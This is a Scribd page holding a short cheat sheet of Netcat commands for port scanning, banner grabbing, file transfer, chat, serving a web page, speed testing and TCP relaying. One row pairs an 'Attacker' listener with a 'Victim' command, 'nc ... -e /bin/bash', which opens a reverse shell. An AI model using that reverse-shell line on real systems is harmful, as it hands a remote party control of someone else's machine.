0% found this document useful (0 votes)
3 views2 pages

netcat_use_cases

The document outlines various use cases for the Netcat (nc) command, including port scanning, banner grabbing, file transfer, chat functionality, serving web pages, and establishing reverse shells. Each use case is accompanied by specific command syntax and a brief description of its purpose. Additionally, it covers network speed testing, TCP proxying, and HTTP request testing.

Uploaded by

fg55.superman
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views2 pages

netcat_use_cases

The document outlines various use cases for the Netcat (nc) command, including port scanning, banner grabbing, file transfer, chat functionality, serving web pages, and establishing reverse shells. Each use case is accompanied by specific command syntax and a brief description of its purpose. Additionally, it covers network speed testing, TCP proxying, and HTTP request testing.

Uploaded by

fg55.superman
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 2

Netcat (nc) Command Use Cases

Use Case Command Description

Port Scanning nc -zv 192.168.1.1 20-80 Scan ports 20-80 on a target to find open ones.

Banner Grabbing nc 192.168.1.1 80 Identify services by reading responses from open ports.

Type: HEAD / HTTP/1.0

File Transfer (Receiver) nc -l -p 1234 > received.txt Listen on port 1234 and save incoming file.

File Transfer (Sender) nc 192.168.1.1 1234 < file.txt Send a file to a remote listener.

Chat (Listener) nc -l -p 1234 Set up listener for basic text chat.

Chat (Client) nc 192.168.1.1 1234 Connect to listener to chat.

Simple Web Server while true; do nc -l -p 8080 < index.html; done Serve an HTML file repeatedly over port 8080.

Reverse Shell (Attacker) nc -l -p 4444 Listen for a shell connection.

Reverse Shell (Victim) nc 192.168.1.100 4444 -e /bin/bash Send a shell to a remote host (classic Netcat only).

or nc ... -e cmd.exe

Network Speed Test (Sender) dd if=/dev/zero bs=1M count=100 | nc -l -p 5001 Send a 100MB stream of zeros.

Network Speed Test (Receiver) nc 192.168.1.1 5001 > /dev/null Receive and discard data to test bandwidth.

TCP Proxying / Relay mkfifo pipe; nc target 80 < pipe | tee pipe | nc relayhost 8080 Forward TCP data through another host.

HTTP Request Testing echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc

Page 1
Netcat (nc) Command Use Cases

example.com 80

Send a manual HTTP GET request to test server.

Page 2

You might also like